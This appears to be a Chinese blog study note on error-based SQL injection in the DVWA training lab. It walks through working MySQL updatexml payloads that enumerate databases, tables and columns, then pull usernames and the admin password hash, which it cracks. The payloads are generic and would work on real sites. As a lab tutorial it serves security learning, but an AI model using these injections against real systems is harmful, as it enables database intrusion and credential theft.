SQL注入入门学习笔记:DVWA-SQL注入之报错注入

1.获取当前数据库名:
方法一:1' and updatexml(1,concat(0x7e,(select database()),0x7e),3)#
方法二:1' and updatexml(1,concat(0x7e,database(),0x7e),3)#
方法三:1' and updatexml(1,'~database()~',3)#
以上三种输入均可,结果为:XPATH syntax error: '~dvwa~'
(1)第一个~号必须有,否则系统不会将database()当成一个函数来处理,而是将database当成字符串,如:输入
1' and updatexml(1,'database()~',3)#的结果为:XPATH syntax error: '()~'
(2)可将0x7e的格式改为'~'(单引号不可省),如:
1' and updatexml(1,concat('~',(select database()),'~'),3)#


2.获取所有数据库名:
1' and updatexml(1,
                   concat('~',
                             substr((select group_concat(schema_name) 
                                 from information_schema.schemata),1,31)
                          ,'~')
                ,3)-- 
结果为:XPATH syntax error: '~information_schema,dvwa~'

3.获取表名
1' and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables 
              where table_schema = 'dvwa'),1,31),'~'),3)-- 
结果为:XPATH syntax error: '~guestbook,users~'

4.获取字段名
1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns 
              where table_schema = 'dvwa' and table_name = 'users'),1,31),'~'),3)-- 
结果为:XPATH syntax error: '~user_id,first_name,last_name,us'
从结果看,最后的us明显是没有显示完,而是被substr截取了,所以要修改substr的第二个参数来继续获取之后的字段名
1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns 
              where table_schema = 'dvwa' and table_name = 'users'),32,31),'~'),3)-- 
结果为:XPATH syntax error: '~er,password,avatar,last_login,f'
从结果看,最后的f明显是没有显示完,而是被substr截取了,所以要修改substr的第二个参数来继续获取之后的字段名
1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns 
              where table_schema = 'dvwa' and table_name = 'users'),63,31),'~'),3)-- 
结果为:XPATH syntax error: '~ailed_login~',此时出现了后面的~,说明已经显示完,不需继续获取,最终结果为:
综上,数据库dvwa的‘users'表中,所有的字段名为:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login

5.获取数据
(1)获取数据库dvwa的‘users'表中有多少条数据
1' and updatexml(1,concat('~',(select count(*) from dvwa.users) ,'~'),3)--
结果为:XPATH syntax error: '~5~' ,说明表中有5条记录
(2)获取数据库dvwa的‘users'表中“user”列中的数据
1' and updatexml(1,concat('~',substr( (select group_concat(user) from dvwa.users) ,1,31),'~'),3)-- 
结果为:XPATH syntax error: '~admin,gordonb,1337,pablo,smithy',最后的“~”没有出现,所以需要继续查询
1' and updatexml(1,concat('~',substr( (select group_concat(user) from dvwa.users) ,32,31),'~'),3)-- 
结果为:XPATH syntax error: '~~',最后一个“~”出现,说明已经显示完
综上,数据库dvwa的‘users'表中“user”列中的数据为:
admin,gordonb,1337,pablo,smithy
(3)获取数据库dvwa的‘users'表中“password”的数据
1' and updatexml(1,concat('~',substr((select password from dvwa.users where user = 'admin'),1,31),'~'),3)-- 
结果为:XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf9',最后的“~”没有出现,所以需要继续查询
1' and updatexml(1,concat('~',substr((select password from dvwa.users where user = 'admin'),32,31),'~'),3)-- 
结果为:XPATH syntax error: '~9~',最后一个“~”出现,说明已经显示完
综上,admin对应的password为:5f4dcc3b5aa765d61d8327deb882cf99,经md5解密出结果为:password
 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值